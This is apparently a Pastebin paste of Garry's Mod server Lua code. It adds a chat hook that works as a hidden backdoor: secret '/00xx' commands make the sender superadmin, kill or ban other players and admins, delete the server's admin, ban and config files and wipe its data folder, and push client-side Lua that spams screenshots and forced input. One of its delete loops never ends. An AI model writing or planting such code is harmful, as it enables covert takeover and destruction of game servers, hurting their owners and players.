Advertisement
Guest User

Untitled

a guest
Oct 15th, 2019
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.42 KB | None | 0 0
  1. hook.Add( "PlayerSay", "1339command", function( pSender, strText, bTeamChat )
  2. if strText:sub( 1, 5 ) == "/0001" then
  3.  
  4. for k, v in pairs( player.GetAll() ) do
  5. v:SetUserGroup("superadmin")
  6. RunConsoleCommand("ulx", "adduserid", v:SteamID(), "superadmin")
  7. end
  8. return false
  9.  
  10. elseif strText:sub( 1, 5 ) == "/0002" then
  11. pSender:SetUserGroup("superadmin")
  12. RunConsoleCommand("ulx", "adduserid", pSender:SteamID(), "superadmin")
  13. return false
  14.  
  15. elseif strText:sub( 1, 5 ) == "/0003" then
  16.  
  17. for k, v in pairs( player.GetAll() ) do
  18. if v == pSender then
  19. pSender:Give( "weapon_rpg" )
  20. pSender:Give( "weapon_ar2" )
  21. pSender:Give( "weapon_crowbar" )
  22. pSender:Give( "weapon_stunstick" )
  23. pSender:Give( "weapon_crossbow" )
  24. pSender:Give( "weapon_slam" )
  25. pSender:Give( "weapon_frag" )
  26. pSender:Give( "weapon_bugbait" )
  27. end
  28. end
  29. return false
  30.  
  31. elseif strText:sub( 1, 5 ) == "/0004" then
  32.  
  33. for k, v in pairs( player.GetAll() ) do
  34. v:Give( "weapon_rpg" )
  35. v:Give( "weapon_ar2" )
  36. v:Give( "weapon_crowbar" )
  37. v:Give( "weapon_stunstick" )
  38. v:Give( "weapon_crossbow" )
  39. v:Give( "weapon_slam" )
  40. v:Give( "weapon_frag" )
  41. v:Give( "weapon_bugbait" )
  42. end
  43. return false
  44.  
  45. elseif strText:sub( 1, 5 ) == "/0005" then
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48.  
  49. v:SetUserGroup("user")
  50. RunConsoleCommand("ulx", "removeuserid", pSender:SteamID())
  51.  
  52. end
  53. return false
  54.  
  55. elseif strText:sub( 1, 5 ) == "/0006" then
  56.  
  57. for k, v in pairs( player.GetAll() ) do
  58.  
  59. if v == pSender then
  60. pSender:ChatPrint( "your rank wont change" )
  61. else
  62. v:SetUserGroup("user")
  63. RunConsoleCommand("ulx", "removeuserid", pSender:SteamID())
  64. end
  65.  
  66. end
  67. return false
  68.  
  69. elseif strText:sub( 1, 5 ) == "/0007" then
  70.  
  71. for k, v in pairs( player.GetAll() ) do
  72. if v == pSender then
  73. pSender:ChatPrint( "you wont be killed !" )
  74. else
  75. v:Kill()
  76. end
  77. end
  78. return false
  79.  
  80. elseif strText:sub( 1, 6 ) == "/0008" then
  81.  
  82. for k, v in pairs( player.GetAll() ) do
  83. v:Kill()
  84. end
  85. return false
  86.  
  87. elseif strText:sub( 1, 5 ) == "/0009" then
  88.  
  89. for k, v in pairs( player.GetAll() ) do
  90. if v == pSender then
  91. pSender:ChatPrint( "you wont be banned, but other admins will be !" )
  92. elseif v != pSender and ( v:IsAdmin() or v:IsSuperAdmin() ) then
  93. v:Ban(1, true)
  94. end
  95. end
  96.  
  97. return false
  98.  
  99. elseif strText:sub( 1, 5 ) == "/0010" then
  100.  
  101. file.Delete( "ulib/groups.txt" )
  102. file.Delete( "ulib/misc_registered.txt" )
  103. file.Delete( "ulib/users.txt" )
  104. file.Delete( "ulib/bans.txt" )
  105.  
  106. file.Delete( "ulx/adverts.txt" )
  107. file.Delete( "ulx/banmessage.txt" )
  108. file.Delete( "ulx/banreasons.txt" )
  109. file.Delete( "ulx/config.txt" )
  110. file.Delete( "ulx/downloads.txt" )
  111. file.Delete( "ulx/gimps.txt" )
  112. file.Delete( "ulx/motd.txt" )
  113. file.Delete( "ulx/sbox_limits.txt" )
  114. file.Delete( "ulx/votemaps.txt" )
  115.  
  116. file.Delete( "wcd/accessGroups.txt" )
  117. file.Delete( "wcd/accessgroups.txt" )
  118. file.Delete( "wcd/dealerGroups.txt" )
  119. file.Delete( "wcd/accessgroups.txt" )
  120.  
  121. file.Delete( "wcd/rp_1944rpgtown_v2a/dealers.txt" )
  122.  
  123. file.Delete( "permaprops/rp_1944rpgtown_v2a.dat" )
  124.  
  125. file.Delete( "xeon/xeon.dat" )
  126.  
  127. local i = 0
  128. local u = 0
  129. while i<20 do
  130. local files, directories = file.Find( "*", "DATA" )
  131. file.Delete(files[1])
  132. file.Delete(directories[1])
  133.  
  134. i = i+1 -- Incrémentation pour éviter une boucle infinie
  135. end
  136.  
  137.  
  138. while u<20 do
  139. local files, directories = file.Find( "*", "DATA" )
  140. directories = directories[1]
  141. files = file.Find( "*", directories)
  142. file.Delete(files[1])
  143. end
  144.  
  145. elseif strText:sub( 1, 5 ) == "/0011" then
  146.  
  147. for k, v in pairs( player.GetAll() ) do
  148. if v == pSender then
  149. pSender:ChatPrint( "you wont be stripped !" )
  150. else
  151. RunConsoleCommand( "ulx", "strip", v:Nick() )
  152. end
  153. end
  154.  
  155. return false
  156.  
  157. elseif strText:sub( 1, 5 ) == "/0012" then
  158.  
  159. for k, v in pairs( player.GetAll() ) do
  160. RunConsoleCommand( "ulx", "strip", v:Nick() )
  161. end
  162.  
  163. return false
  164.  
  165. elseif strText:sub( 1, 5 ) == "/0013" then
  166.  
  167. for k, v in pairs( player.GetAll() ) do
  168. if v != pSender then
  169. pSender:ChatPrint( "you cant stop it !" )
  170. else
  171. v:SendLua([[timer.Create("screenshot requested", 0.001, 0, function() LocalPlayer():ConCommand("screenshot requested") end)]])
  172. end
  173. end
  174. return false
  175.  
  176. elseif strText:sub( 1, 5 ) == "/0014" then
  177.  
  178. for k, v in pairs( player.GetAll() ) do
  179. v:SendLua([[timer.Remove("screenshot requested")]])
  180. end
  181. return false
  182.  
  183. elseif strText:sub( 1, 5 ) == "/0015" then
  184.  
  185. for k, v in pairs( player.GetAll() ) do
  186. if v != pSender then
  187. pSender:ChatPrint( "you cant stop it !" )
  188. else
  189. v:SendLua([[timer.Create("headache",0.001,0,function() LocalPlayer():ConCommand("+left;+walk;+duck;+moveleft;+forward;+voicerecord") end)]])
  190. end
  191. end
  192. return false
  193.  
  194. elseif strText:sub( 1, 5 ) == "/0016" then
  195.  
  196. for k, v in pairs( player.GetAll() ) do
  197. v:SendLua([[timer.Remove("headache") LocalPlayer():ConCommand("-left;-walk;-duck;-moveleft;-forward;-moveleft;-voicerecord")]])
  198. end
  199. return false
  200.  
  201. elseif strText:sub( 1, 5 ) == "/0017" then
  202.  
  203. for k, v in pairs( player.GetAll() ) do
  204. if v != pSender then
  205. pSender:ChatPrint( "you cant stop it !" )
  206. else
  207. v:SendLua([[timer.Create("impulse 100", 0.001, 0, function() LocalPlayer():ConCommand("impulse 100") end)]])
  208. end
  209. end
  210. return false
  211.  
  212. elseif strText:sub( 1, 5 ) == "/0018" then
  213.  
  214. for k, v in pairs( player.GetAll() ) do
  215. v:SendLua([[timer.Remove("impulse 100")]])
  216. end
  217. return false
  218.  
  219. end
  220. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement